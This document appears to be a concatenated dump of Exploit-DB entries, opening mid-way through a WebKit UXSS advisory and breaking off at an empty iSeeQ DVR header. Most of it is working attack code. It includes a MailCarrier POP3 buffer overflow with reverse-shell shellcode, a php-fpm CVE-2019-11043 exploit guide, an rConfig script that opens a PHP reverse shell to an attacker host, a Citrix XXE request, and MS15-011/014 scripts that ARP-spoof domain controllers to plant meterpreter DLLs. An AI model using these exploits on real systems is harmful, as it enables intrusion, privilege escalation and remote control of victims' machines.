`FrameLoader::detachChildren`, which detaches subframes regardless of whether their associated
elements are attached to the document tree. However, I'm not sure if this change would be safe. The
attached patch just adds a release assertion after `disconnectDescendantFrames` to ensure that all
subframes have been detached. The solution is not too elegant, but a similar fix in Blink
(https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/dom/document.cc?rcl=a34380189132e826108a71d9f6024b863ce1dcaf&l=3115)
has proved to be effective.


VERSION
WebKit revision 247430 
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The minimal test case that demonstrates the issue is as follows:
```
<body>
<script>
const FRAME_COUNT = 1024;

let container = document.body.appendChild(document.createElement('div'));
for (let i = 0; i < FRAME_COUNT; ++i) {
  let frame = container.appendChild(document.createElement('iframe'));
  frame.style.display = 'none';
}
container.remove();

frame = container.firstChild;
alert(`
  <iframe> is not attached to the document tree, but still has a content frame!
  frame.parentNode.parentNode: ${frame.parentNode.parentNode}
  frame.contentWindow: ${frame.contentWindow}
`);
</script>
</body>
```

The full UXSS exploit is in the attached archive.


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47552.zip
            
# Exploit Title: Win10 MailCarrier 2.51 - 'POP3 User' Remote Buffer Overflow
# Date: 2019-10-01
# Author: Lance Biggerstaff
# Original Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Tested on: Windows 10
# Note: Every version of Windows 10 has a different offset  and sometimes you need to run the exploit twice before you can pop a shell ¯\_(ツ)_/¯

#!/usr/bin/python

import sys
import socket
import time

#msfvenom -p windows/shell/reverse_tcp lhost=IP_ADDRESS lport=LISTENING_PORT -b '\x00\xd9' -f python

buf =  ""
buf += "\x2b\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xe7\xb4\xfe\x5c\x83\xee\xfc\xe2\xf4\x1b\x5c"
buf += "\x7c\x5c\xe7\xb4\x9e\xd5\x02\x85\x3e\x38\x6c\xe4\xce"
buf += "\xd7\xb5\xb8\x75\x0e\xf3\x3f\x8c\x74\xe8\x03\xb4\x7a"
buf += "\xd6\x4b\x52\x60\x86\xc8\xfc\x70\xc7\x75\x31\x51\xe6"
buf += "\x73\x1c\xae\xb5\xe3\x75\x0e\xf7\x3f\xb4\x60\x6c\xf8"
buf += "\xef\x24\x04\xfc\xff\x8d\xb6\x3f\xa7\x7c\xe6\x67\x75"
buf += "\x15\xff\x57\xc4\x15\x6c\x80\x75\x5d\x31\x85\x01\xf0"
buf += "\x26\x7b\xf3\x5d\x20\x8c\x1e\x29\x11\xb7\x83\xa4\xdc"
buf += "\xc9\xda\x29\x03\xec\x75\x04\xc3\xb5\x2d\x3a\x6c\xb8"
buf += "\xb5\xd7\xbf\xa8\xff\x8f\x6c\xb0\x75\x5d\x37\x3d\xba"
buf += "\x78\xc3\xef\xa5\x3d\xbe\xee\xaf\xa3\x07\xeb\xa1\x06"
buf += "\x6c\xa6\x15\xd1\xba\xdc\xcd\x6e\xe7\xb4\x96\x2b\x94"
buf += "\x86\xa1\x08\x8f\xf8\x89\x7a\xe0\x3d\x16\xa3\x37\x0c"
buf += "\x6e\x5d\xe7\xb4\xd7\x98\xb3\xe4\x96\x75\x67\xdf\xfe"
buf += "\xa3\x32\xde\xf4\x34\x27\x1c\xec\x59\x8f\xb6\xfe\x5c"
buf += "\xf2\x3d\x18\x0c\xb7\xe4\xae\x1c\xb7\xf4\xae\x34\x0d"
buf += "\xbb\x21\xbc\x18\x61\x69\x36\xf7\xe2\xa9\x34\x7e\x11"
buf += "\x8a\x3d\x18\x61\x7b\x9c\x93\xbe\x01\x12\xef\xc1\x12"
buf += "\xb4\x80\xb4\xfe\x5c\x8d\xb4\x94\x58\xb1\xe3\x96\x5e"
buf += "\x3e\x7c\xa1\xa3\x32\x37\x06\x5c\x99\x82\x75\x6a\x8d"
buf += "\xf4\x96\x5c\xf7\xb4\xfe\x0a\x8d\xb4\x96\x04\x43\xe7"
buf += "\x1b\xa3\x32\x27\xad\x36\xe7\xe2\xad\x0b\x8f\xb6\x27"
buf += "\x94\xb8\x4b\x2b\xdf\x1f\xb4\x83\x74\xbf\xdc\xfe\x1c"
buf += "\xe7\xb4\x94\x5c\xb7\xdc\xf5\x73\xe8\x84\x01\x89\xb0"
buf += "\xdc\x8b\x32\xaa\xd5\x01\x89\xb9\xea\x01\x50\xc3\xbb"
buf += "\x7b\x2c\x18\x4b\x01\xb5\x7c\x4b\x01\xa3\xe6\x77\xd7"
buf += "\x9a\x92\x75\x3d\xe7\x17\x01\x5c\x0a\x8d\xb4\xad\xa3"
buf += "\x32\xb4\xfe\x5c"

jmpesp = '\x23\x49\xA1\x0F'

# buffer length depends on length of source ip address, 5095 works for xxx.xxx.xx.x, you may need to tweak the length up or down
#buffer = '\x41' * 5093  + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)
#buffer = '\x41' * 5094  + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)
buffer = '\x41' * 5095  + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)
#buffer = '\x41' * 5096  + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)
#buffer = '\x41' * 5097  + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)

print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("TARGET", 110))
print s.recv(1024)
s.send('USER ' + buffer + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, but if you get here the exploit failed!"
            
# PHuiP-FPizdaM

## What's this

This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see [below](#the-full-list-of-preconditions)).

## What's vulnerable

If a webserver runs nginx + php-fpm and nginx have a configuration like

```
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}
```

which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit.

#### The full list of preconditions
1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)).
2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character.
3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true.
4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
5. This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see [below](#about-php5)).

## Isn't this known to be vulnerable for years?

A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010.

The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.

## How to run

Install it using
```
go get github.com/neex/phuip-fpizdam
```

If you get strange compilation errors, make sure you're using go >= 1.13. Run the program using `phuip-fpizdam [url]` (assuming you have the `$GOPATH/bin` inside your `$PATH`, otherwise specify the full path to the binary). Good output looks like this:

```
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
```

After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries).

## Playground environment

If you want to reproduce the issue or play with the exploit locally, do the following:

1. Clone this repo and go to the `reproducer` directory.
2. Create the docker image using `docker build -t reproduce-cve-2019-11043 .`. It takes a long time as it internally clones the php repository and builds it from the source. However, it will be easier this way if you want to debug the exploit. The revision built is the one right before the fix.
2. Run the docker using `docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.
3. Now you have http://127.0.0.1:8080/script.php, which is an empty file.
4. Run the exploit using `phuip-fpizdam http://127.0.0.1:8080/script.php`
5. If everything is ok, you'll be able to execute commands by appending `?a=` to the script: http://127.0.0.1:8080/script.php?a=id. Try multiple times as only some of php-fpm workers are infected.

## About PHP5

The buffer underflow in php-fpm is present in PHP version 5. However, this exploit makes use of an optimization used for storing FastCGI variables, [_fcgi_data_seg](https://github.com/php/php-src/blob/5d6e923/main/fastcgi.c#L186). This optimization is present only in php 7, so this particular exploit works only for php 7. There might be another exploitation technique that works in php 5.

## Credits

Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru).

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47553.zip
            
# Exploit Title: Wordpress 5.2.4 - Cross-Origin Resource Sharing
# Date: 2019-10-28
# Exploit Author: Milad Khoshdel
# Software Link: https://wordpress.org/download/
# Version: Wordpress 5.2.4
# Tested on: Linux Apache/2 PHP/7.2

# Vulnerable Page:
https://[Your-Domain]/wp-json

# POC:
# The web application fails to properly validate the Origin header (check Details section for more information) 
# and returns the header Access-Control-Allow-Credentials: true. In this configuration any website can issue 
# requests made with user credentials and read the responses to these requests. Trusting arbitrary 
# origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. 

# REGUEST -->

GET /wp-json/ HTTP/1.1
Origin: https://www.evil.com
Accept: */*
Accept-Encoding: gzip,deflate
Host: [Your-Domain]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive

# RESPONSE -->

HTTP/1.1 200 OK
Date: Mon, 28 Oct 2019 07:34:39 GMT
Server: NopeJS
X-Robots-Tag: noindex
Link: <https://[Your-Domain].com/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: GET
Access-Control-Allow-Origin: https://www.evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin,Accept-Encoding,User-Agent
Keep-Alive: timeout=2, max=73
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Original-Content-Encoding: gzip
Content-Length: 158412
            
# Exploit Title: Intelligent Security System SecurOS Enterprise 10.2 - 'SecurosCtrlService' Unquoted Service Path
# Discovery Date: 2019-10-28
# Exploit Author: Alberto Vargas
# Vendor Homepage: https://www.issivs.com/product-detail/secure-os-enterprise/
# Software Link: https://www.issivs.com/schedule-a-free-demo/(trial version for unlicensed users)
# Version: 10.2 R1
# Tested on: Windows 10 Pro x64 Esp

# Version: 10.0.18362

# Schedule A Free Demo - ISS - Intelligent Security Systems<https://www.issivs.com/schedule-a-free-demo/>
# Schedule a Free Demo A leading developer of security surveillance and control systems for 
# networked digital video and audio recording, video image pattern processing and digital data transmission.
# www.issivs.com

# Summary: ISS’ global standard for video management, access control and video analytics, SecurOS Enterprise is perfectly suited for 
# managing large and demanding installations. The Enterprise framework can manage and monitor an unlimited number of cameras and devices, apply 
# intelligent video analytics, and act as an integration platform for a variety of 3rd party systems. Built to handle enterprise level deployments, 
# SecurOS Enterprise, comes with built-in Native Failure functionality, Microsoft Active Directory / LDAP integration, and has an extensive set 
# of Cybersecurity features making it one of the most reliable and secure video management platforms in the market today. SecurOS Enterprise 
# supports all the features of the other 3 editions.

# Description:    The application suffers from an unquoted search path issue impacting the service 'SecurosCtrlService'. This could potentially allow an 
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

SecurOS Control Service		SecurosCtrlService	C:\Program Files (x86)\ISS\SecurOS\securos_svc.exe	Auto

# Service info:

C:\Users\user>sc qc SecurosCtrlService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecurosCtrlService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ISS\SecurOS\securos_svc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : SecurOS Control Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
            
# Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662

#!/usr/bin/python

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)


rConfig-preauth.png
            
# Exploit Title: Citrix StoreFront Server 7.15 - XML External Entity Injection
# Date: 2019-08-28
# Exploit Author: Vahagn Vardanya
# Vendor Homepage:https://www.citrix.com/downloads/storefront/
# Software Link: https://support.citrix.com/article/CTX251988
# Version:
# Citrix StoreFront Server  earlier than 1903
# Citrix StoreFront Server 7.15 LTSR earlier than CU4 (3.12.4000)
# Citrix StoreFront Server 7.6 LTSR earlier than CU8 (3.0.8000)#
# Tested on: Windows
# Shodan query https://www.shodan.io/search?query=%2FCitrix%2FStoreWeb

# PoC

POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
Content-Type: application/vnd.citrix.requesttoken+xml
Accept: application/vnd.citrix.requesttokenresponse+xml, application/vnd.
citrix.authenticateresponse-1+xml
Accept-Language:ru,en-US;q=0.9,en;q=0.8,fr;q=0.7,hy;q=0.6,de;q=0.5,es;q=0.4,nb;q=0.3,nl;q=0.2,fi;q=0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
X-Forwarded-For: 192.168.204.1
X-Citrix-Agent: crm.
X-Citrix-AM-CredentialTypes: none, username, domain, password, newpassword,passcode, savecredentials, textcredential, webview, webview
X-Citrix-AM-LabelTypes: none, plain, heading, information, warning, error,confirmation, image
X-Citrix-IsUsingHTTPS: No
Host: 192.168.204.131
Content-Length: 331
Expect: 100-continue

<?xml version="1.0" encoding="utf-8" standalone='no'?><!DOCTYPE
requesttoken [<!ENTITY % xxe SYSTEM "http://REMOTE">%xxe; ]><requesttoken
xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken
"><for-service>a</for-service><for-service-url>http://secure-web.cisco.com/
<http://secure-web.cisco.com/1ijL9Cycthe9FsmytQkHCl1Xg9pMufEcuz0PmzFHVwkbFjSep42bW3GRBkLUxePJTdOcYeHl5hlVi95aQc-F0KUuqpBKFdx4EXJ_ppx3MY000cALA2hGugGjMX3hbmvhtPOTba7B4LnAcpuyFDLHiSlv8xyu_CzN0mhekRY51L34p4Wy9oMguR9Bj8YWAm6KxixMl1DiaZ88h4FVR0vKzHdtedNF63xO329dQAtQuVWiipK_rt4rnVWKmorTTrbp-bsdV7zUBsqjON-MZYpzagQ/http%3A%2F%2F192.168.204.146%2FCitrix%2Fstore_nameAuth%2Fauth%2Fv1%2Ftoken></for-service-url><reqtokentemplate
/><requested-lifetime>0.08:00:00</requested-lifetime></requesttoken>
            
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Security Feature Bypass
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, 
# Windows 8, Windows Server 2012, Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0009
# Type: Remote
# Platform: Windows

# Description: This exploit code targets vulnerable systems in order to corrupt GPO updates which causes 
# the target system to revert various security settings to their default settings. This includes SMB server 
# and network client settings, which by default do not require SMB signing except for domain controllers. 
# Successful exploitation against a system with a hardened configuration that requires SMB Signing by the 
# network client will make the target system vulnerable to MS15-011, which can lead to remote code execution.

#!/usr/bin/python3

import argparse
import fcntl
import os
import socket
import struct
import subprocess
from subprocess import PIPE
import re

# MS15-014 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-014
# Example usage: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):
    arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
    arpArgs = arpCmd.split()
    print("Arpspoofing: %s" % (arpArgs))
    p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)


def corrupt_packet():
    global count
    
    # NetSed listen port 446 (iptables redirected), modify traffic, then forward to destination 445.
    netsedCmd = "netsed tcp 446 0 445 s/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00%00" #>/dev/null 2>&1 &
    netsedArgs = netsedCmd.split()
    print("Starting NetSed!")
    print("NetSed: %s" % (netsedArgs))
    netsedP = subprocess.Popen(netsedArgs, stdout=PIPE, stderr=subprocess.STDOUT)
    
    
    while True:
        o = (netsedP.stdout.readline()).decode('utf-8')
        
        if o != '':
            if args['verbose']:
                print("NetSed output: %s" % o)

            if re.search('Applying rule', o) is not None:
                count += 1
                print('packet corrupted: % s' % count)
                # During testing, after 4 attempts to retrieve GptTmpl.inf the exploit was successful. Sometimes the machine requested the file 7 times, but exploitation was always successful after 4 attempts.
                # The script waits for up to 7 for reliability. Tested on Windows 7 SP1 and Server 2012 R2
                if count == 4:
                    print("Exploit has likely completed!! waiting for up to 7 corrupted packets for reliability. \nIf no more packets are corrupted in the next couple of minutes kill this script. The target should be reverted to default settings with SMB signing not required on the client. \nTarget can now be exploited with MS15-011 exploit.")
                
        #During testing, after 7 attempts to retrieve GptTmpl.inf the GPO update stopped and exploitation was successful.
        if count == 7:
            break
    

def get_interface_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def iptables_config(targetIP, hostIP):
    #allow forwarding, redirect arpspoofed traffic from dport 445 to 446 for NetSed.
    print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
    print('[+] Running command: iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')
    print('[+] Make sure to cleanup iptables after exploit completes')
    os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
    os.system('iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Find the SecEdit\GptTmpl.inf UUID to exploit MS15-014')
    parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-014", required=True)
    parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
    parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
    parser.add_argument("-v", "--verbose", help="Toggle verbose mode. displays all output of NetSed, very busy terminal if enabled.", action='store_true')

    args = vars(parser.parse_args())
    
    target_ip = args['target_ip']

    count = 0
    
    # Get the provided interfaces IP address
    ipAddr = get_interface_address(args['interface'])

    dcSpoof = ""
    dcCommaList = ""
    dcCount = 0
    
    # loop over the domain controllers, poison each and target the host IP
    # create a comma separated list of DC's
    # create a "-t" separate list of DC's for use with arpspoof
    for dc in args['domain_controller']:
        dcSpoof += "-t %s " % (dc)
        if dcCount > 0: 
            dcCommaList += ",%s" % (dc)
        else:
            dcCommaList += "%s" % (dc)

        arpSpoof(args['interface'], dc, "-t %s" % (target_ip))
        dcCount += 1

    # arpspoof the target and all of the DC's
    arpSpoof(args['interface'], target_ip, dcSpoof)

    # Setup iptables forwarding rules
    iptables_config(target_ip, ipAddr)

    #identify requests for GptTmpl.inf and modify the packet to corrupt it using NetSed.
    corrupt_packet()
            
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, 
# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0008
# Type: Remote
# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of 
# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code 
# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level 
# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).

#!/usr/bin/python3

import argparse
import os
import subprocess
import socket
import fcntl
import struct

# MS15-011 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-011
# Example usage: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):
    arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
    arpArgs = arpCmd.split()
    print("Arpspoofing: %s" % (arpArgs))
    p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

    
def karmaSMB(hostIP):
    print("reverting GptTmpl.inf from bak")
    os.system("cp GptTmpl.inf.bak GptTmpl.inf")
    appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)
    CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)
    f = open("GptTmpl.inf","a", encoding='utf-16le')
    f.write(appInit)
    f.write(CURunKey)
    f.close()
    
    path = os.getcwd()
    
    fConfig = open("smb.conf","w")
    fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")
    fConfig.close()

    karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "
    os.system(karmaCmd)


def iptables_config(targetIP, hostIP):
    print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
    print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
    print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
    print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')
    os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
    os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
    os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
    os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')


def get_interface_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def generatePayload(lhost, lport):
    print("generating payload(s) and metasploit resource file")
    msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)
    os.system(msfDll)
    msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)
    print("metasploit resource script: %s" % msfResource)
    print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")
    
    file = open("meta_resource.rc", "w+")
    file.write(msfResource)
    file.close()
        


if __name__ == '__main__':

    parser = argparse.ArgumentParser()

    # Add arguments
    parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)
    parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
    parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
    parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)
    parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)

    args = parser.parse_args()

    # Check for KarmaSMB and GptTmpl.inf.bak, if missing download git repo with these files.
    print ("checking for missing file(s)")
    if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):
        print("Requirements missing. Downloading required files from github")
        os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")
        os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")

    # Get the provided interfaces IP address
    ipAddr = get_interface_address(args.interface)

    if args.lhost is not None:
        lhost = args.lhost
    else:
        lhost = ipAddr

    if args.lport is not None:
        lport = args.lport
    else:
        lport = '4444'
    

    dcSpoof = ""
    dcCommaList = ""
    count = 0
  
    # loop over the domain controllers, poison each and target the host IP
    # create a comma separated list of DC's
    # create a "-t" separate list of DC's for use with arpspoof
    for dc in args.domain_controller:
        dcSpoof += "-t %s " % (dc)
        if count > 0: 
            dcCommaList += ",%s" % (dc)
        else:
            dcCommaList += "%s" % (dc)

        arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))
        count += 1

    # arpspoof the target and all of the DC's
    arpSpoof(args.interface, args.target_ip, dcSpoof)

    # generate payloads
    generatePayload(lhost, lport)

    # Setup iptables forwarding rules
    iptables_config(args.target_ip, ipAddr)

    #run Karmba SMB Server
    karmaSMB(ipAddr)
   
    
    print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))
    print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")
            
# Title: iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure
# Date: 2019-10-29
# Author: LiquidWorm
# Vendor:iSeeQ
# Link: http://www.iseeq.co.kr
# CVE: N/A

#!/bin/bash
#
#
